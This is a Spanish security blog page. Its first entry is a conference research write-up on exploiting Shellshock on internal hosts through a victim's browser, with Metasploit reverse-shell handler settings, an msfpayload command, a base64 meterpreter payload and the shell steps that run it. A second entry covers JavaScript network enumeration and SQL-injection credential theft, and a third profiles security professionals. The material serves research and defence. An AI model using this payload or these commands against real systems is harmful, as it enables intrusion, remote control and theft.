Mostrando entradas con la etiqueta 11paths. Mostrar todas las entradas
Mostrando entradas con la etiqueta 11paths. Mostrar todas las entradas

jueves, 20 de noviembre de 2014

ShellShock Client-Side Scripting Attack: Explotar bugs de ShellShock en sistemas NO publicados a Internet

 

Hace unos días se celebró en Barcelona la conferencia de seguridad informáticaNoConName 2014, una de las conferencias más antiguas y respetadas en la comunidad “hacking” en España. En esta edición, hicimos pública la investigación detallada que realizamos en Eleven Paths sobre la posibilidad de utilizar las técnicas de Javascript Port Scanning para realizar, al menos, enumeración (footprinting yfingerprinting) de recursos internos de una red corporativa o una red doméstica. El trabajo se publicó en un par de artículos llamados Enumeración y explotación de recursos internos mediante Javascript/AJAX (I) y (II):

Figura 1: ShellShock Client-Side Scripting Attack

Enumeración de la red interna de una empresa con visitar una web
Por resumir, el ataque es sencillo y podría utilizarse para atacar redes internas inyectando un JavaScript malicioso en una página web. Esto podría hacerse, por ejemplo, en un entorno de JavaScript Botnet para hacer ataques dirigidos. La "víctima” visitará una página web especialmente modificada para iniciar el ataque y el atacante recibirá información privada de la red desde el propio navegador web de la víctima. En la siguiente presentación tenéis un resumen del trabajo completo que expusimos.

Figura 2: Network profiling based on HTML tags injection

La investigación profundiza en cómo es posible en la actualidad, utilizar este ataque en la mayor parte de navegadores web en diversos sistemas operativos, siendo posible enumerar direcciones IP internas vivas, puertos abiertos, cualquier tipo de servicio o software con interfaz web, enumeración de dominios, detección de impresoras, UPS, routers, etcétera. Al final, se demuestra como un navegador web puede ser utilizado como una herramienta de pentesting sin que el usuario víctima lo sepa. Estas técnicas son plenamente funcionales independientemente de si el navegador web está actualizado, o no, o de los permisos con los que se ejecute en el sistema operativo de la víctima ya que sería necesario aplicar medidas de fortificación extras en el navegador web para mitigar el ataque descrito.
Los resultados anteriores son suficientemente significativos, no obstante, existen otros vectores de ataque basados en este tipo de técnicas que son peligrosos y relativamente sencillos de explotar. Merece la pena pararse a pensar un poco en esto porque ... ¿suelen los equipos de seguridad actualizar las tecnologías vulnerables que no son visibles directamente en Internet? ¿estará actualizado nuestro CMS interno en una organización? ¿se ha aplicado el último parche al WordPress, Joomla o Drupalde la Intranet? ¿Está el firmware de nuestro router doméstico actualizado? ¿Es segura la aplicación interna de nuestra empresa que da acceso a la base de datos?
Explotar Shellshock en un equipo interno desde el navegador de otro
Para demostrar lo sencillo que resulta vulnerar equipos de una red interna, simplemente aprovechándose del hecho que una víctima en la misma red visite una página web determinada, se mostró en la NoConName una demostración usando el fallo de ShellShock en un ataque que hemos denominado: “ShellShock Client-Side Scripting Attack”. Aunque con un poco de imaginación el lector advertirá que existen “multitud de variantes” y “ataques interesantes” basados en estos mismos principios. El proceso para hacer un Shellshock Client-Side Scripting Attack sería:

1) La víctima está en una red que tiene un equipo vulnerable a la famosavulnerabilidad Shellshock. El equipo vulnerable no es accesible directamente desde Internet.
2) El atacante construye una página web (o modifica una existente) e introduce código HTML/Javascript para enumerar direcciones IP vivas en la red de la víctima y detectar servicios/software/rutas conocidas en esas máquinas.
3) La víctima carga una página web con el “código malicioso”, por ejemplo, con su navegador actualizado Google Chrome.
4) El “código malicioso” detecta para una máquina viva un servicio conocido vulnerable a ShellShock.
Hasta este punto un funcionamiento más o menos normal de footprinting yfingerprinting utilizando la técnica de JavaScript Port Scanning. Seguidamente lo que se va a forzar es que la página web modificada contenga un “exploit” de forma que cuando detecte un servicio vulnerable a Shellshock se le pueda enviar el ataque desde el propio navegador web de la víctima. Una vez explotado el bug, qué realizar con el equipo vulnerable depende de la imaginación del atacante.

Figura 3: Esquema de ataque ShellShock Client-Side Scripting Attack

A continuación, demostraremos cómo es posible explotar el fallo, introducir una consola en el equipo vulnerable - usando un meterpreter de Metasploit -  y devolver una conexión inversa al atacante. De esta forma, tendremos acceso a la máquina que no estaba visible desde Internet y habremos saltado, en muchas configuraciones reales, la seguridad perimetral existente en la red que da acceso a la red interna, incluso aunque haya configurados cortafuegos o zonas DMZ especiales.
ShellShock Client-Side Scripting Attack: Paso a paso

a) Configuración de listener de reverse-shell: El atacante utiliza el framework Metasploit para configurar la máquina que recibirá la información del equipo vulnerado. Para ello, pone a la escucha un handler en el puerto 4444 al que le va a llegar la conexión inversa del payload que se ejecutará en el equipo vulnerable. En el ejemplo que viene a continuación se muestra en un entorno local.
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit
b) Creación del payload de ShellShock: El atacante crea el “payload” que se quiere ejecutar en la máquina vulnerable. Para ello, se utiliza msfpayload creando un payload con “meterpreter/reverse_tcp” en codificación base64 para facilitar su envío en peticiones HTTP.
msfpayload linux/x86/meterpreter/reverse_tcp lhost=IP_ATACANTE lport=4444 X > p.bin && chmod 755 p1.bin && cat p1.bin | base64
c) Nuestro payload:
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1torBAKDWgCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E=
d) Ejecución de exploit: El navegador de la víctima que ha cargado la página web con el payload, lanzará el “exploit” utilizando Javascript/AJAX a las máquinas/servicios vulnerables en la red interna.

Figura 4: Ejecución del exploit desde el navegador de la víctima

La tecnología CORS (Cross-Origin Resource Sharing) alertará de esta situación en el navegador web - se puede ver en modo depuración - pero no impide que la petición sea realizada.
e) Ejecución del payload en la víctima: En el ejemplo de la demo, el payload desarrollado explotará un CGI vulnerable a Shellshock en la máquina interna vulnerable. Las acciones que realizamos son:
1. Payload en base64 se vuelca a un fichero en el sistema vulnerable:
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKg4A2gCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= > /tmp/p2.bin
2. Se descodifica el bas64 y se vuelca el binario a otro fichero
/usr/bin/base64 -d /tmp/p2.bin > /tmp/p1.bin
3. Se le da permisos de ejecución al payload
/bin/chmod 755 /tmp/p1.bin
4. Se ejecuta el payload
/tmp/p1.bin
d) Ejecución de meterpreter: La máquina/servicio vulnerable al ejecutar el payload devuelve un meterpreter al handler controlado por el atacante fuera de su red interna.

Figura 5: Recepción de la shell de Meterpreter de la víctima en la consola de Metasploit

En función de los permisos con los que se ejecute el CGI vulnerable, seremos administrador de la máquina o necesitaremos elevación de privilegios. En cualquier caso, se simplificará notablemente el acceso a la red interna y en la práctica hacernos con el control de mucha información y de la propia red.

Como se ha de suponer, se debe prestar atención a las diferentes formas de fortificar nuestros navegadores web evitando el máximo posible de opciones. Desde hace años existe un peligro real de que simplemente visitando una página web con cualquier navegador web actualizado la red de nuestra empresa esté en riesgo, por lo que cuantas más capas de seguridad internas y externas se apliquen, mejor que mejor.


Autores:
Dr. Alfonso Muñoz
Eleven Paths. Escritor del libro de Criptográfica RSA (@mindcrypt & @criptored)
Ricardo Martín
Security & Quallity Assurance Engineer en Eleven Paths (@ricardo090489)

Enumeración y explotación de recursos internos mediante Javascript/AJAX (y II)

 

Veamos la segunda parte de la entrada anterior en la que se describirán nuevos escenarios de explotación y un escenario de ataque. En ella, observamos que es factible identificar recursos internos en una red corporativa o doméstica si un usuario visita una página web determinada. El navegador de la víctima enviará la información detectada al atacante, típicamente vía JavaScript/AJAX. En resumen, enumeramos recursos internos desde el exterior saltando las medidas de seguridad perimetral, toda la información se fuga vía protocolo HTTP desde un usuario legítimo de una organización.
Explotación y escenario de ataque
Esta técnica tiene un gran potencial, no solo por el hecho de permitir la enumeración, sino sobre todo, por aprovechar la propia enumeración para realizar ataques de explotación desde el exterior utilizando el navegador web de la víctima que visita la página web "maliciosa". Existen muchos tipos de ataques posibles. A continuación se expone un ataque diferente al expuesto en la NoConName y que muestra la flexibilidad a la hora de atacar sistemas.
Un usuario (víctima1) que utiliza navegador web Chrome (WebRTC) actualizado en su última versión, visita una página web (atacante). Este hecho desencadena la enumeración de direcciones IP vivas y la identificación de productos vulnerables a través de la identificación de rutas conocidas:

  • Wordpress: wp-admin/images/w-logo-blue.png
  • Moodle: /theme/standardwhite/favicon.ico

Se identificará en la red un CMS (víctima2) vulnerable a una inyección SQL. El atacante utilizará a la víctima1 para inyectar el "exploit" en la víctima2 y conseguir extraer las credenciales de la base de datos al exterior. La víctima2 comunicará la información a la víctima1 y esta al atacante (otras configuraciones son posibles).

Esquema de ataque

El exploit creado es muy sencillo. Consiste en la introducción en la página web visitada de un iframe con la inyección SQL y además una etiqueta HTML concreta que se concatenara con los resultados obtenidos de la base datos. Estos datos son leídos de la tabla "test" de una base de datos MySQL, que es accesible a través de una aplicación vulnerable a SQL y que simplificará la comunicación de estos datos al exterior.
Ejemplo de exploit

Nótese que se codifica en hexadecimal la etiqueta:

Una vez ejecutada la inyección en la víctima2, la víctima1 tendrá en su iframe una etiqueta de tipo img por cada credencial (name, passwd) extraída de la base de datos. La ejecución de estas etiquetas permitirá el envío de las credenciales al atacante.

Detalle del código JavaScript del exploit

Conclusiones
La técnica de enumeración basada en el comportamiento temporal o de carga de un navegador web cuando localiza recursos, puede ser utilizada en la actualidad con gran provecho. Especialmente reseñable es su funcionamiento en cualquier navegador actual en su última versión y la posibilidad de utilizar el propio navegador web como si de una herramienta más de pentesting se tratará, identificando recursos internos y facilitando la explotación de vulnerabilidades, como puede deducirse evitando medidas de seguridad perimetral clásicas.
Hoy, el único remedio contra estos ataques es buscar mitigaciones en la configuración de los navegadores web (por defecto deshabilitadas), limitando la ejecución de código JavaScript/AJAX o definiendo políticas que limiten la acción de contenido cargado desde Internet.
* Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)

Dr. Alfonso Muñoz

alfonso.munoz@11paths.com
@mindcrypt

Ricardo Martín

ricardo.martínz@11paths.com
@ricardo090489

martes, 24 de septiembre de 2013

Profesionales de la seguridad informática I

Después de una semana de sequía sin escribir en el blog por las fechas de entrega de proyectos, ya que andamos un poco justos de tiempo he conseguido hacer un hueco para publicar una entrada que no acaba hoy ya que seguiré con el hilo de esta entrada cuando logre realizarme unas cuentas fotos con otros tantos profesionales de la seguridad informática y es que de ello va esta entrada.
Empezando con mi querido jefe (más me vale hablar bien de él … jejej) Pablo González, muy buen compañero del cual desde que lo conozco he de decir que es alguien que se ha preocupado por mí, por llevarme por el buen camino y guiarme y del que he aprendido y seguiré aprendido mucho de él, excelente persona y muy apreciado por todos en el entorno de este mundillo. Sin más hablar un poco de su experiencia y formación como profesional de la seguridad informática.

Pablo González
 
Es Project Manager en 11Paths, empresa perteneciente a Telefónica Digital. Ingeniero Técnico en Informática de Sistemas e Ingeniero en Informática por la Universidad Rey Juan Carlos. Certificado en  MCTS Windows 7, Configuring, MCITP Enterprise Desktop Administrator Windows 7, MCTS Windows 7 y Office 2010 deployment, MCP Designing Security for a Windows Server 2003 Network, MCTS Windows Server 2008 R2 Server Virtualization. Certificado en LPIC-1 y Small Bussiness CISCO. FTSAI. Anteriormente ha trabajado como Responsable de Seguridad en Informática 64. Premio Extraordinario Fin de Carrera por la Universidad Rey Juan Carlos en Ingeniería Técnica en Informática de Sistemas en 2009. Premio al mejor expediente de su promoción por la Escuela Técnica Superior de Ingeniería Informática de la Universidad Rey Juan Carlos en 2009. Es ponente habitual en diversos foros y congresos de seguridad a nivel nacional, entre los que se encuentran No cON Name y RootedCon.
Es autor de los siguientes libros:
  • Metasploit para pentesters.
  • Pentesting con Kali.
  • Hacking dispositivos iOS: iPhone & iPad.
  • PowerShell: La navaja suiza de los administradores de sistemas.
  • Windows Server 2012 para IT Pros.
  • Hardening de servidores GNU/Linux
Y lleva junto con Juan Antonio Calles el blog de http://www.flu-project.com/

pablo
Imagen 1: Yo y Pablo González

El siguiente del quien voy a hablar no es ni más ni menos que de Chema Alonso conocido por todo el que mínimamente se haya acercado al mundo de la seguridad informática, ponente en conferencias de todo el mundo y demás, pero ahora les hablaré sobre mi experiencia personal durante el tiempo que llevo trabajando con él, ya que luego haré un inciso para extender el recorrido que lleva este personaje tan conocido por todos a nivel nacional e internacional en el campo de la seguridad informática, sin más he de decir que a demás de simpático es una persona que llega a todos, no es el típico jefe que te podrías encontrar trabajando en cualquier otro sitio, es alguien más cercano y junto a Rodol han creado y llegado a construir los pilares de lo que es hoy en día 11paths, por ultimo decir que es alguien de quien no puedo decir que no haya sido amable conmigo y para demostrároslo y os muráis de envidia decir que me ha llevado hasta mi casa en el cochazo con el que aparezco en la Imagen 2.


Conocido como el Maligno, es quizá uno de los referentes de seguridad informática y hacking a nivel mundial. Ingeniero Informático de Sistemas por la Universidad Politécnica de Madrid - donde ha sido nombrado Embajador Honorífico por su excelente carrera profesional, e Ingeniero Informático y Master en Sistemas de Información por la Universidad Rey Juan Carlos ha sido premiado como Most Valuable Professional en Enterprise Security por Microsoft durante 8 años. En la URJC ha realizado su Doctorado en Informática dedicado a técnicas de auditoría de seguridad web. Miembro fundador de Informática 64, donde trabaja como consultor e investigador de Seguridad desde hace 14 años. De su trabajo en Informática 64, han salido herramientas populares de la seguridad informática como FOCA, MetaShield Protector o la reciente Forensic FOCA, y desde donde han salido las publicaciones de técnicas hacking como Time-Based Blind SQL Injection, (Blind) LDAP Injection o Connection String Parameter Pollution. Recorre el mundo participando en conferencias de seguridad de renombre internacional como Defcon, BlackHat, ShmooCON, HackCON, SEC-T, DeepSEC, RootedCON, NoConName, Ekoparty, Yahoo! Security Week, Digital Crime Consortium, FIRST, ToorCON, etc… donde ha dado más de 100 conferencias por todo el mundo. Ha sido invitado por Yahoo! para las jornadas de Seguridad en San Francisco. Famoso por su gorro a rayas, Chema Alonso ha publicado más de 50 artículos en congresos académicos y revistas técnicas, siempre sobre seguridad informática y es coautor de varios libros de Seguridad Informática. Escribe a diario su blog “Un informático en el lado del mal”, tocando temas de actualidad, hacking y seguridad desde hace 7 años. En el año 2012 fue elegido en los premios Bitácoras como el mejor blog de seguridad informática del año. Además es colaborador y mentor en Talentum Startups de Telefónica, director del Master de Seguridad de la Universidad Europea de Madrid y profesor del Master de Seguridad de la Universidad Oberta de Catalunya y de la Universidad Politécnica de Madrid. Actualmente puedes escucharle todos los martes en el programa La Mañana de la COPE a las 11:30 horas.

chema
Imagen 2: Yo y Chema Alonso
chema2
Imagen 3: Yo y Chema Alonso otra vez..
Ahora hablaré de un amiguete a quien aprecio mucho, alguien que conozco hace bastante, bastante más de cuando lo vi por primera vez y es que esa misma mañana cuando entraba por primera vez a informatica64 vi a un chaval que salía a tomarse su pan con mantequilla y cola cao, tenía así como poco pelo cuando luego caí y me di cuenta que no era otro que Germán Sánchez, compañero durante aquellos tiempos de gran nivel en indetectables.net donde compartimos y aprendimos sobre malware y posteriormente sobre in-seguridad web, que decir de él. Desde el primer día que lo conoces ya eres su colega, es muy cercano y simpático, es con quien no puedes salir de fiesta por que luego … hay lo dejo jajaja.

Germán Sánchez

Autor del libro Pentesting Con Kali, Administrador del famoso blog de enelpc.com.
  • Security Analyst
    Telefónica Digital Identity & Privacy (Eleven Paths)
    abril de 2013 – Actualidad (6 meses)Distrito C, Sede Central de Telefónica
    Consultor de Seguridad Informática en Informática 64
    abril de 2012 – abril de 2013 (1 año 1 mes)
Docente en cursos de hacking ético, pentesting, malware, forense en windows, ataques en redes de datos IPv4 e IPv6, VoIP, seguridad web, auditoría de código y temas relativos a la fortificación de sistemas.
Realizando auditorías web, test de intrusión y análisis de malware para evitar amenazas o fallos de seguridad en empresas externas, con el consiguiente informe técnico, donde reflejar las vulnerabilidades encontradas.
Auditoría de redes LAN en empresas externas, utilizando técnicas relativas al sniffing, pivoting y exploiting.

german 1
Imagen 4: Yo y Germán